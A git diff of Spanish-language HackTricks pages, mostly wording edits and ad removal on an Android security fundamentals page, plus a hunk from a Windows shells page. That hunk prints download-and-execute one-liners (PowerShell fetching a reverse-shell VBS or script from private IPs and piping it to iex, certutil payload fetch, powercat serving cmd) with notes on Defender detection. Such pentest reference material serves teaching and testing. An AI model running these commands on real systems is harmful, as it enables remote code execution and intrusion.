@ -277,14 +267,6 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
|
|||
**Detectado por el defensor**
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## **Cscript/Wscript**
|
||||
```bash
|
||||
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
|
||||
|
@ -405,7 +387,7 @@ powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
|||
```
|
||||
Defender no lo detecta como código malicioso (aún, 3/04/2019).
|
||||
|
||||
**TAREA: Revisar otros shells de nishang**
|
||||
**TODO: Revisar otros shells de nishang**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
|
@ -419,7 +401,7 @@ Defender no lo detecta como código malicioso (aún, 3/04/2019).
|
|||
|
||||
**Otras opciones ofrecidas por powercat:**
|
||||
|
||||
Conexión por enlace, Shell inversa (TCP, UDP, DNS), Redirección de puerto, subida/bajada, Generar payloads, Servir archivos...
|
||||
Conexiones de escucha, Shell inversa (TCP, UDP, DNS), Redirección de puertos, subida/bajada de archivos, Generar payloads, Servir archivos...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -462,7 +444,7 @@ Inicie un servidor web que sirva el archivo _powershell\_attack.txt_ y ejecute e
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**Código detectado como malicioso**
|
||||
**Detectado como código malicioso**
|
||||
|
||||
## Más
|
||||
|
||||
|
@ -480,21 +462,13 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Consola de PS con algunos mód
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -6,32 +6,24 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Modelo de Seguridad de Android
|
||||
|
||||
**Hay dos capas:**
|
||||
**Existen dos capas:**
|
||||
|
||||
* El **SO**, que mantiene las aplicaciones instaladas aisladas entre sí.
|
||||
* La **aplicación en sí**, que permite a los desarrolladores **exponer ciertas funcionalidades** y configurar las capacidades de la aplicación.
|
||||
* La **aplicación en sí misma**, que permite a los desarrolladores **exponer ciertas funcionalidades** y configurar las capacidades de la aplicación.
|
||||
|
||||
### Separación de UID
|
||||
|
||||
**A cada aplicación se le asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos**. Por lo tanto, solo la aplicación en sí, ciertos componentes del SO y el usuario root pueden acceder a los datos de las aplicaciones.
|
||||
**A cada aplicación se le asigna un ID de Usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de Usuario o archivos compartidos**. Por lo tanto, solo la aplicación en sí misma, ciertos componentes del SO y el usuario root pueden acceder a los datos de las aplicaciones.
|
||||
|
||||
### Compartir UID
|
||||
|
||||
|
@ -41,14 +33,14 @@ Encuentra vulnerabilidades que importan más para que puedas solucionarlas más
|
|||
### Aislamiento
|
||||
|
||||
La **Sandbox de Aplicaciones Android** permite ejecutar **cada aplicación** como un **proceso separado bajo un ID de usuario separado**. Cada proceso tiene su propia máquina virtual, por lo que el código de una aplicación se ejecuta de forma aislada de otras aplicaciones.\
|
||||
A partir de Android 5.0(L) **SELinux** está implementado. Básicamente, SELinux denegó todas las interacciones de procesos y luego creó políticas para **permitir solo las interacciones esperadas entre ellos**.
|
||||
A partir de Android 5.0(L) se aplica **SELinux**. Básicamente, SELinux deniega todas las interacciones entre procesos y luego crea políticas para **permitir solo las interacciones esperadas entre ellos**.
|
||||
|
||||
### Permisos
|
||||
|
||||
Cuando instalas una **aplicación y solicita permisos**, la aplicación está pidiendo los permisos configurados en los elementos **`uses-permission`** en el archivo **AndroidManifest.xml**. El elemento **uses-permission** indica el nombre del permiso solicitado dentro del **atributo de nombre**. También tiene el atributo **maxSdkVersion** que deja de solicitar permisos en versiones superiores a la especificada.\
|
||||
Ten en cuenta que las aplicaciones de Android no necesitan solicitar todos los permisos al principio, también pueden **solicitar permisos dinámicamente** pero todos los permisos deben estar **declarados** en el **manifiesto**.
|
||||
|
||||
Cuando una aplicación expone funcionalidades puede limitar el **acceso solo a aplicaciones que tengan un permiso especificado**.\
|
||||
Cuando una aplicación expone funcionalidades puede limitar el **acceso solo a aplicaciones que tengan un permiso específico**.\
|
||||
Un elemento de permiso tiene tres atributos:
|
||||
|
||||
* El **nombre** del permiso
|
||||
|
@ -56,8 +48,8 @@ Un elemento de permiso tiene tres atributos:
|
|||
* El **nivel de protección** que indica cómo se otorgan los permisos. Hay cuatro tipos:
|
||||
* **Normal**: Se utiliza cuando no hay **amenazas conocidas** para la aplicación. No se requiere que el usuario lo apruebe.
|
||||
* **Peligroso**: Indica que el permiso otorga a la aplicación solicitante cierto **acceso elevado**. **Se solicita a los usuarios que los aprueben**.
|
||||
* **Firma**: Solo **las aplicaciones firmadas por el mismo certificado que la que** exporta el componente pueden recibir permiso. Este es el tipo de protección más fuerte.
|
||||
* **FirmaOSystema**: Solo **las aplicaciones firmadas por el mismo certificado que la que** exporta el componente o **las aplicaciones que se ejecutan con acceso a nivel de sistema** pueden recibir permisos.
|
||||
* **Firma**: Solo **las aplicaciones firmadas por el mismo certificado que la** que exporta el componente pueden recibir permiso. Este es el tipo de protección más fuerte.
|
||||
* **FirmaOSystema**: Solo **las aplicaciones firmadas por el mismo certificado que la** que exporta el componente o **las aplicaciones que se ejecutan con acceso a nivel de sistema** pueden recibir permisos.
|
||||
|
||||
## Aplicaciones Preinstaladas
|
||||
|
||||
|
@ -83,7 +75,7 @@ Ten en cuenta que el proceso de rooting es muy peligroso y puede dañar gravemen
|
|||
Es posible **reemplazar el SO instalando un firmware personalizado**. Haciendo esto es posible extender la utilidad de un dispositivo antiguo, evadir restricciones de software o acceder al código más reciente de Android.\
|
||||
**OmniROM** y **LineageOS** son dos de los firmwares más populares para usar.
|
||||
|
||||
Ten en cuenta que **no siempre es necesario rootear el dispositivo** para instalar un firmware personalizado. **Algunos fabricantes permiten** el desbloqueo de sus cargadores de arranque de manera bien documentada y segura.
|
||||
Ten en cuenta que **no siempre es necesario rootear el dispositivo** para instalar un firmware personalizado. **Algunos fabricantes permiten** el desbloqueo de sus cargadores de arranque de manera documentada y segura.
|
||||
|
||||
### Implicaciones
|
||||
|
||||
|
@ -91,7 +83,7 @@ Una vez que un dispositivo está rooteado, cualquier aplicación podría solicit
|
|||
|
||||
## Fundamentos de Aplicaciones Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- El formato de las aplicaciones de Android se conoce como _formato de archivo APK_. Esencialmente es un **archivo ZIP** (al cambiar la extensión del archivo a .zip, se pueden extraer y ver los contenidos).
|
||||
- El formato de las aplicaciones de Android se conoce como _formato de archivo APK_. Es esencialmente un **archivo ZIP** (al cambiar la extensión del archivo a .zip, se pueden extraer y ver los contenidos).
|
||||
- Contenidos de APK (No exhaustivo)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
|
@ -100,7 +92,7 @@ Una vez que un dispositivo está rooteado, cualquier aplicación podría solicit
|
|||
- META-INF/
|
||||
- ¡Aquí se encuentra el Certificado!
|
||||
- **classes.dex**
|
||||
- Contiene bytecode Dalvik, que representa el código Java (o Kotlin) compilado que la aplicación ejecuta de forma predeterminada.
|
||||
- Contiene el bytecode de Dalvik, que representa el código Java (o Kotlin) compilado que la aplicación ejecuta de forma predeterminada.
|
||||
- lib/
|
||||
- Contiene bibliotecas nativas, segregadas por arquitectura de CPU en subdirectorios.
|
||||
- `armeabi`: código para procesadores basados en ARM
|
||||
|
@ -111,14 +103,36 @@ Una vez que un dispositivo está rooteado, cualquier aplicación podría solicit
|
|||
- Almacena archivos diversos necesarios para la aplicación, potencialmente incluyendo bibliotecas nativas adicionales o archivos DEX, a veces utilizados por autores de malware para ocultar código adicional.
|
||||
- res/
|
||||
- Contiene recursos que no se compilan en resources.arsc
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
En el desarrollo de Android, se utiliza **Java o Kotlin** para crear aplicaciones. En lugar de utilizar la JVM como en las aplicaciones de escritorio, Android compila este código en **código de bytes Dalvik ejecutable (DEX)**. Anteriormente, la máquina virtual Dalvik manejaba este bytecode, pero ahora, el Tiempo de Ejecución de Android (ART) se encarga en las versiones más nuevas de Android.
|
||||
En el desarrollo de Android, se utiliza **Java o Kotlin** para crear aplicaciones. En lugar de utilizar el JVM como en las aplicaciones de escritorio, Android compila este código en **código de bytes ejecutable Dalvik (DEX)**. Anteriormente, la máquina virtual Dalvik manejaba este código de bytes, pero ahora, en las versiones más recientes de Android, el Android Runtime (ART) se encarga de ello.
|
||||
|
||||
Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible por humanos del bytecode DEX, actuando como lenguaje ensamblador al traducir el código fuente en instrucciones de bytecode. Smali y baksmali se refieren a las herramientas de ensamblaje y desensamblaje en este contexto.
|
||||
Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible por humanos del código DEX, actuando como lenguaje ensamblador al traducir el código fuente en instrucciones de bytes. Smali y baksmali se refieren a las herramientas de ensamblaje y desensamblaje en este contexto.
|
||||
|
||||
***
|
||||
## Intents
|
||||
|
||||
Los Intents son el principal medio por el cual las aplicaciones de Android se comunican entre sus componentes o con otras aplicaciones. Estos objetos de mensaje también pueden transportar datos entre aplicaciones o componentes, de manera similar a cómo se utilizan las solicitudes GET/POST en las comunicaciones HTTP.
|
||||
|
||||
Entonces, un Intent es básicamente un **mensaje que se pasa entre componentes**. Los Intents **pueden ser dirigidos** a componentes o aplicaciones específicas, **o pueden ser enviados sin un destinatario específico**.\
|
||||
Para simplificar, un Intent se puede utilizar para:
|
||||
|
||||
* Iniciar una Actividad, típicamente abriendo una interfaz de usuario para una aplicación
|
||||
* Como transmisiones para informar al sistema y a las aplicaciones de cambios
|
||||
* Para iniciar, detener y comunicarse con un servicio en segundo plano
|
||||
* Para acceder a datos a través de ContentProviders
|
||||
* Como devoluciones de llamada para manejar eventos
|
||||
|
||||
Si son vulnerables, los **Intents pueden ser utilizados para realizar una variedad de ataques**.
|
||||
|
||||
### Filtro de Intents
|
||||
|
||||
Los **Filtros de Intents** definen **cómo una actividad, servicio o receptor de transmisiones puede interactuar con diferentes tipos de Intents**. Básicamente, describen las capacidades de estos componentes, como las acciones que pueden realizar o los tipos de transmisiones que pueden procesar. El lugar principal para declarar estos filtros es dentro del archivo **AndroidManifest.xml**, aunque para los receptores de transmisiones, también es una opción codificarlos.
|
||||
|
||||
Los Filtros de Intents están compuestos por categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite a los componentes manejar Intents específicos que coincidan con los criterios declarados.
|
||||
|
||||
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de transmisiones) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exported`** con un valor de **`true`** o si se declara un Filtro de Intent para él en el manifiesto. Sin embargo, los desarrolladores pueden mantener explícitamente privados estos componentes para asegurarse de que no interactúen con otras aplicaciones accidentalmente. Esto se logra configurando el atributo **`exported`** en **`false`** en sus definiciones de manifiesto.
|
||||
|
||||
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** se puede configurar para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, agregando una capa adicional de seguridad y control sobre quién puede interactuar con él.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -126,7 +140,7 @@ Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible
|
|||
```
|
||||
### Intenciones implícitas
|
||||
|
||||
Las intenciones se crean programáticamente utilizando un constructor de Intents:
|
||||
Las intenciones se crean programáticamente utilizando un constructor de Intenciones:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
@ -219,7 +233,7 @@ El **Lenguaje de Definición de Interfaz de Android (AIDL)** está diseñado par
|
|||
|
||||
### Conceptos Clave
|
||||
|
||||
- **Servicios Vinculados**: Estos servicios utilizan AIDL para IPC, permitiendo que actividades o componentes se vinculen a un servicio, realicen solicitudes y reciban respuestas. El método `onBind` en la clase del servicio es crucial para iniciar la interacción, convirtiéndolo en un área vital para la revisión de seguridad en busca de vulnerabilidades.
|
||||
- **Servicios Vinculados**: Estos servicios utilizan AIDL para IPC, permitiendo que actividades o componentes se vinculen a un servicio, realicen solicitudes y reciban respuestas. El método `onBind` en la clase del servicio es crítico para iniciar la interacción, por lo que es un área vital para la revisión de seguridad en busca de vulnerabilidades.
|
||||
|
||||
- **Messenger**: Funcionando como un servicio vinculado, Messenger facilita el IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método detenidamente en busca de un manejo inseguro de datos o la ejecución de funciones sensibles.
|
||||
|
||||
|
@ -244,7 +258,7 @@ La **actividad de inicio** es la puerta de entrada principal a una aplicación,
|
|||
```
|
||||
No todos los apps necesitan una actividad de lanzamiento, especialmente aquellos sin una interfaz de usuario, como los servicios en segundo plano.
|
||||
|
||||
Las actividades pueden estar disponibles para otras aplicaciones o procesos marcándolas como "exportadas" en el manifiesto. Esta configuración permite que otras aplicaciones inicien esta actividad:
|
||||
Las actividades pueden estar disponibles para otras apps o procesos marcándolas como "exportadas" en el manifiesto. Esta configuración permite que otras apps inicien esta actividad:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -274,9 +288,9 @@ super.onCreate();
|
|||
|
||||
[Los servicios](https://developer.android.com/guide/components/services) son **operativos en segundo plano** capaces de ejecutar tareas sin una interfaz de usuario. Estas tareas pueden seguir ejecutándose incluso cuando los usuarios cambian a diferentes aplicaciones, lo que hace que los servicios sean cruciales para **operaciones de larga duración**.
|
||||
|
||||
Los servicios son versátiles; pueden iniciarse de varias formas, siendo los **Intents** el método principal para lanzarlos como punto de entrada de una aplicación. Una vez que un servicio se inicia utilizando el método `startService`, su método `onStart` entra en acción y sigue ejecutándose hasta que se llame explícitamente al método `stopService`. Alternativamente, si el rol de un servicio depende de una conexión activa con el cliente, se utiliza el método `bindService` para vincular el cliente al servicio, involucrando el método `onBind` para el paso de datos.
|
||||
Los servicios son versátiles; pueden iniciarse de varias formas, siendo los **Intents** el método principal para lanzarlos como punto de entrada de una aplicación. Una vez que un servicio se inicia utilizando el método `startService`, su método `onStart` entra en acción y sigue ejecutándose hasta que se llama explícitamente al método `stopService`. Alternativamente, si el rol de un servicio depende de una conexión activa con el cliente, se utiliza el método `bindService` para vincular el cliente al servicio, involucrando el método `onBind` para el paso de datos.
|
||||
|
||||
Una aplicación interesante de los servicios incluye la reproducción de música en segundo plano o la obtención de datos de red sin obstaculizar la interacción del usuario con una aplicación. Además, los servicios pueden hacerse accesibles a otros procesos en el mismo dispositivo a través de la **exportación**. Este no es el comportamiento predeterminado y requiere una configuración explícita en el archivo Android Manifest:
|
||||
Una aplicación interesante de los servicios incluye la reproducción de música en segundo plano o la obtención de datos de red sin obstaculizar la interacción del usuario con una aplicación. Además, los servicios pueden ser accesibles para otros procesos en el mismo dispositivo a través de la **exportación**. Esto no es el comportamiento predeterminado y requiere una configuración explícita en el archivo Android Manifest:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -296,9 +310,9 @@ Los **proveedores de contenido** son esenciales para **compartir datos estructur
|
|||
|
||||
La validación de entrada es fundamental para prevenir vulnerabilidades, como la inyección SQL. Los proveedores de contenido admiten operaciones básicas: `insert()`, `update()`, `delete()` y `query()`, facilitando la manipulación y el intercambio de datos entre aplicaciones.
|
||||
|
||||
**FileProvider**, un Proveedor de Contenido especializado, se centra en compartir archivos de forma segura. Se define en el manifiesto de la aplicación con atributos específicos para controlar el acceso a carpetas, indicadas por `android:exported` y `android:resource` que apuntan a configuraciones de carpetas. Se recomienda precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
|
||||
**FileProvider**, un Proveedor de Contenido especializado, se centra en compartir archivos de forma segura. Se define en el manifiesto de la aplicación con atributos específicos para controlar el acceso a carpetas, indicados por `android:exported` y `android:resource` que apuntan a configuraciones de carpetas. Se recomienda precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
|
||||
|
||||
Ejemplo de declaración en el manifiesto para FileProvider:
|
||||
Declaración de ejemplo en el manifiesto para FileProvider:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -320,20 +334,20 @@ Para obtener más información, consulta:
|
|||
|
||||
## WebViews
|
||||
|
||||
Los WebViews son como **mini navegadores web** dentro de las aplicaciones de Android, que muestran contenido ya sea desde la web o desde archivos locales. Enfrentan riesgos similares a los navegadores regulares, pero existen formas de **reducir estos riesgos** a través de **configuraciones específicas**.
|
||||
Los WebViews son como **mini navegadores web** dentro de las aplicaciones de Android, que muestran contenido ya sea desde la web o desde archivos locales. Enfrentan riesgos similares a los navegadores regulares, pero hay formas de **reducir estos riesgos** a través de **configuraciones específicas**.
|
||||
|
||||
Android ofrece dos tipos principales de WebViews:
|
||||
|
||||
- **WebViewClient** es ideal para HTML básico pero no admite la función de alerta JavaScript, lo que afecta la forma en que se pueden probar los ataques XSS.
|
||||
- **WebChromeClient** se comporta más como la experiencia completa del navegador Chrome.
|
||||
- **WebChromeClient** actúa más como la experiencia completa del navegador Chrome.
|
||||
|
||||
Un punto clave es que los navegadores WebView **no comparten cookies** con el navegador principal del dispositivo.
|
||||
|
||||
Para cargar contenido, se pueden utilizar métodos como ````loadUrl````, ````loadData````, y ````loadDataWithBaseURL````. Es crucial asegurarse de que estas URL o archivos sean **seguros de usar**. Las configuraciones de seguridad se pueden gestionar a través de la clase ````WebSettings````. Por ejemplo, deshabilitar JavaScript con ````setJavaScriptEnabled(false)```` puede prevenir ataques XSS.
|
||||
Para cargar contenido, se pueden utilizar métodos como ````loadUrl````, ````loadData````, y ````loadDataWithBaseURL````. Es crucial asegurarse de que estas URL o archivos sean **seguros de usar**. La configuración de seguridad se puede gestionar a través de la clase ````WebSettings````. Por ejemplo, deshabilitar JavaScript con ````setJavaScriptEnabled(false)```` puede prevenir ataques XSS.
|
||||
|
||||
El "Puente" JavaScript permite que los objetos Java interactúen con JavaScript, requiriendo que los métodos estén marcados con ````@JavascriptInterface```` para seguridad a partir de Android 4.2.
|
||||
El "Puente" JavaScript permite que los objetos Java interactúen con JavaScript, lo que requiere que los métodos estén marcados con ````@JavascriptInterface```` para seguridad a partir de Android 4.2.
|
||||
|
||||
Permitir acceso al contenido (````setAllowContentAccess(true)````) permite que los WebViews accedan a los Proveedores de contenido, lo cual podría ser un riesgo a menos que las URL de contenido se verifiquen como seguras.
|
||||
Permitir el acceso al contenido (````setAllowContentAccess(true)````) permite que los WebViews accedan a los Proveedores de contenido, lo cual podría ser un riesgo a menos que las URL de contenido se verifiquen como seguras.
|
||||
|
||||
Para controlar el acceso a archivos:
|
||||
- Deshabilitar el acceso a archivos (````setAllowFileAccess(false)````) limita el acceso al sistema de archivos, con excepciones para ciertos activos, asegurando que solo se utilicen para contenido no sensible.
|
||||
|
@ -342,15 +356,15 @@ Para controlar el acceso a archivos:
|
|||
|
||||
### **Firma Digital de Aplicaciones**
|
||||
|
||||
- La **firma digital** es imprescindible para las aplicaciones de Android, asegurando que estén **autenticadas correctamente** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al instalarla. Las aplicaciones pueden ser **auto-firmadas o certificadas por una CA externa**, protegiéndolas contra accesos no autorizados y garantizando que la aplicación permanezca intacta durante su entrega al dispositivo.
|
||||
- La **firma digital** es imprescindible para las aplicaciones de Android, asegurando que estén **autenticadas correctamente** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al instalarla. Las aplicaciones pueden ser **auto-firmadas o certificadas por una CA externa**, protegiéndolas contra accesos no autorizados y asegurando que la aplicación permanezca intacta durante su entrega al dispositivo.
|
||||
|
||||
### **Verificación de Aplicaciones para una Seguridad Reforzada**
|
||||
|
||||
- A partir de **Android 4.2**, una función llamada **Verificar aplicaciones** permite a los usuarios verificar la seguridad de las aplicaciones antes de la instalación. Este **proceso de verificación** puede advertir a los usuarios sobre aplicaciones potencialmente dañinas, o incluso prevenir la instalación de aquellas particularmente maliciosas, mejorando la seguridad del usuario.
|
||||
- A partir de **Android 4.2**, una función llamada **Verificar Aplicaciones** permite a los usuarios verificar la seguridad de las aplicaciones antes de la instalación. Este **proceso de verificación** puede advertir a los usuarios sobre aplicaciones potencialmente dañinas, o incluso prevenir la instalación de aquellas particularmente maliciosas, mejorando la seguridad del usuario.
|
||||
|
||||
### **Gestión de Dispositivos Móviles (MDM)**
|
||||
|
||||
- Las **soluciones de MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Requieren la instalación de una aplicación de Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **imponer políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, garantizando un control y seguridad completos sobre los dispositivos móviles.
|
||||
- Las **soluciones de MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Requieren la instalación de una aplicación de Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **imponer políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -361,27 +375,16 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
